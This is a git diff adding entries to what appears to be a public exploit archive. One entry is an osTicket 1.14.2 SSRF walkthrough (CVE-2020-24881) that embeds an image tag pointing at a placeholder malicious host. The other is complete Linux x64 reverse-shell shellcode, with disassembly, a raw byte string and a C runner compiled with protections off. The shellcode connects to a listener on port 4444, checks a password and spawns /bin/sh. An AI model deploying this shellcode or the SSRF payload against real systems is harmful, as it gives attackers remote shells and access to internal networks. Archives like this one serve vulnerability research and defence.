diff --git a/exploits/php/webapps/49441.txt b/exploits/php/webapps/49441.txt
new file mode 100644
index 000000000..e1c6fac4a
--- /dev/null
+++ b/exploits/php/webapps/49441.txt
@@ -0,0 +1,23 @@
+# Exploit Title: osTicket 1.14.2 - SSRF
+# Date: 18-01-2021
+# Exploit Author: Talat Mehmood
+# Vendor Homepage: https://osticket.com/
+# Software Link: https://osticket.com/download/
+# Version: <1.14.3
+# Tested on: Linux
+# CVE : CVE-2020-24881
+
+osTicket before 1.14.3 suffers from Server Side Request Forgery [SSRF]. HTML page is rendered on backend server on calling "Print" ticket functionality.
+
+Below are the steps to reproduce this vulnerability:
+
+1. Create a new ticket
+2. Select "HTML Format" format.
+3. Add an image tag with your payload in src attribute i.e. "![](https://mymaliciouswebsite.com")
+4. After submitting this comment, print this ticket.
+5. You'll receive a hit on your malicious website from the internal server on which osTicket is deployed.
+
+For more details, read my following blog:
+
+https://blackbatsec.medium.com/cve-2020-24881-server-side-request-forgery-in-osticket-eea175e147f0
+https://nvd.nist.gov/vuln/detail/CVE-2020-24881
\ No newline at end of file
diff --git a/files_exploits.csv b/files_exploits.csv
index ec96d21f9..dec7d162b 100644
--- a/files_exploits.csv
+++ b/files_exploits.csv
@@ -25886,6 +25886,7 @@ id,file,description,date,author,type,platform,port
12868,exploits/php/webapps/12868.txt,"Joomla! Component com_lead - SQL Injection",2010-06-03,ByEge,webapps,php,
49439,exploits/php/webapps/49439.txt,"Life Insurance Management System 1.0 - 'client_id' SQL Injection",2021-01-18,"Aitor Herrero",webapps,php,
49440,exploits/php/webapps/49440.txt,"Life Insurance Management System 1.0 - File Upload RCE (Authenticated)",2021-01-18,"Aitor Herrero",webapps,php,
+49441,exploits/php/webapps/49441.txt,"osTicket 1.14.2 - SSRF",2021-01-19,"Talat Mehmood",webapps,php,
49433,exploits/php/webapps/49433.txt,"Alumni Management System 1.0 - _Last Name field in Registration page_ Stored XSS",2021-01-15,"Siva Rajendran",webapps,php,
49434,exploits/php/webapps/49434.py,"E-Learning System 1.0 - Authentication Bypass & RCE POC",2021-01-15,"Himanshu Shukla",webapps,php,
49435,exploits/multiple/webapps/49435.rb,"Netsia SEBA+ 0.16.1 - Authentication Bypass and Add Root User (Metasploit)",2021-01-15,AkkuS,webapps,multiple,
diff --git a/files_shellcodes.csv b/files_shellcodes.csv
index dd7c1ce9c..a22c21b2d 100644
--- a/files_shellcodes.csv
+++ b/files_shellcodes.csv
@@ -1,5 +1,6 @@
id,file,description,date,author,type,platform
14113,shellcodes/arm/14113.c,"Linux/ARM - setuid(0) + execve(_/bin/sh___/bin/sh__0) Shellcode (38 bytes)",2010-06-29,"Jonathan Salwan",shellcode,arm
+49442,shellcodes/linux/49442.c,"Linux/x64 - Reverse (127.1.1.1:4444) Shell (/bin/sh) Shellcode (123 Bytes)",2021-01-19,"Guillem Alminyana",shellcode,linux
13241,shellcodes/aix/13241.c,"AIX - execve(/bin/sh) Shellcode (88 bytes)",2004-09-26,"Georgi Guninski",shellcode,aix
13242,shellcodes/bsd/13242.txt,"BSD - Reverse (127.0.0.1:31337/TCP) Shell (/bin/sh) Shellcode (124 bytes)",2000-11-19,Scrippie,shellcode,bsd
13243,shellcodes/bsd_ppc/13243.c,"BSD/PPC - execve(/bin/sh) Shellcode (128 bytes)",2004-09-26,Palante,shellcode,bsd_ppc
diff --git a/shellcodes/linux/49442.c b/shellcodes/linux/49442.c
new file mode 100644
index 000000000..2df1f4174
--- /dev/null
+++ b/shellcodes/linux/49442.c
@@ -0,0 +1,92 @@
+/*
+ Exploit Title: Linux/x64 - Reverse Shell
+ Author: Guillem Alminyana
+ Date: 2021-01-18
+ Platform: GNU Linux x64
+ =====================================
+
+ This shellcode connects back to 127.1.1.1 address on port 4444
+ Listener needs to be opened before execute: nc -lvp 4444
+
+ Compile:
+ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
+*/
+
+/*
+ 0: 6a 29 push 0x29
+ 2: 58 pop rax
+ 3: 6a 02 push 0x2
+ 5: 5f pop rdi
+ 6: 6a 01 push 0x1
+ 8: 5e pop rsi
+ 9: 99 cdq
+ a: 0f 05 syscall
+ c: 50 push rax
+ d: 5f pop rdi
+ e: 52 push rdx
+ f: 68 7f 01 01 01 push 0x101017f
+ 14: 66 68 11 5c pushw 0x5c11
+ 18: 66 6a 02 pushw 0x2
+ 1b: 6a 2a push 0x2a
+ 1d: 58 pop rax
+ 1e: 54 push rsp
+ 1f: 5e pop rsi
+ 20: 6a 10 push 0x10
+ 22: 5a pop rdx
+ 23: 0f 05 syscall
+ 25: 6a 02 push 0x2
+ 27: 5e pop rsi
+ 28: 6a 21 push 0x21
+ 2a: 58 pop rax
+ 2b: 0f 05 syscall
+ 2d: 48 ff ce dec rsi
+ 30: 79 f6 jns 28
+ 32: 6a 01 push 0x1
+ 34: 58 pop rax
+ 35: 49 b9 50 61 73 73 77 movabs r9,0x203a647773736150
+ 3c: 64 3a 20
+ 3f: 41 51 push r9
+ 41: 54 push rsp
+ 42: 5e pop rsi
+ 43: 6a 08 push 0x8
+ 45: 5a pop rdx
+ 46: 0f 05 syscall
+ 48: 48 31 c0 xor rax,rax
+ 4b: 48 83 c6 08 add rsi,0x8
+ 4f: 0f 05 syscall
+ 51: 48 b8 31 32 33 34 35 movabs rax,0x3837363534333231
+ 58: 36 37 38
+ 5b: 56 push rsi
+ 5c: 5f pop rdi
+ 5d: 48 af scas rax,QWORD PTR es:[rdi]
+ 5f: 75 1a jne 7b
+ 61: 6a 3b push 0x3b
+ 63: 58 pop rax
+ 64: 99 cdq
+ 65: 52 push rdx
+ 66: 48 bb 2f 62 69 6e 2f movabs rbx,0x68732f2f6e69622f
+ 6d: 2f 73 68
+ 70: 53 push rbx
+ 71: 54 push rsp
+ 72: 5f pop rdi
+ 73: 52 push rdx
+ 74: 54 push rsp
+ 75: 5a pop rdx
+ 76: 57 push rdi
+ 77: 54 push rsp
+ 78: 5e pop rsi
+ 79: 0f 05 syscall
+*/
+
+#include
+#include
+
+unsigned char code[]= \
+"\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x99\x0f\x05\x50\x5f\x52\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x66\x6a\x02\x6a\x2a\x58\x54\x5e\x6a\x10\x5a\x0f\x05\x6a\x02\x5e\x6a\x21\x58\x0f\x05\x48\xff\xce\x79\xf6\x6a\x01\x58\x49\xb9\x50\x61\x73\x73\x77\x64\x3a\x20\x41\x51\x54\x5e\x6a\x08\x5a\x0f\x05\x48\x31\xc0\x48\x83\xc6\x08\x0f\x05\x48\xb8\x31\x32\x33\x34\x35\x36\x37\x38\x56\x5f\x48\xaf\x75\x1a\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\x52\x54\x5a\x57\x54\x5e\x0f\x05";
+
+void main()
+{
+ printf("ShellCode Length: %d\n", strlen(code));
+ int (*ret)() = (int(*)())code;
+ ret();
+}
\ No newline at end of file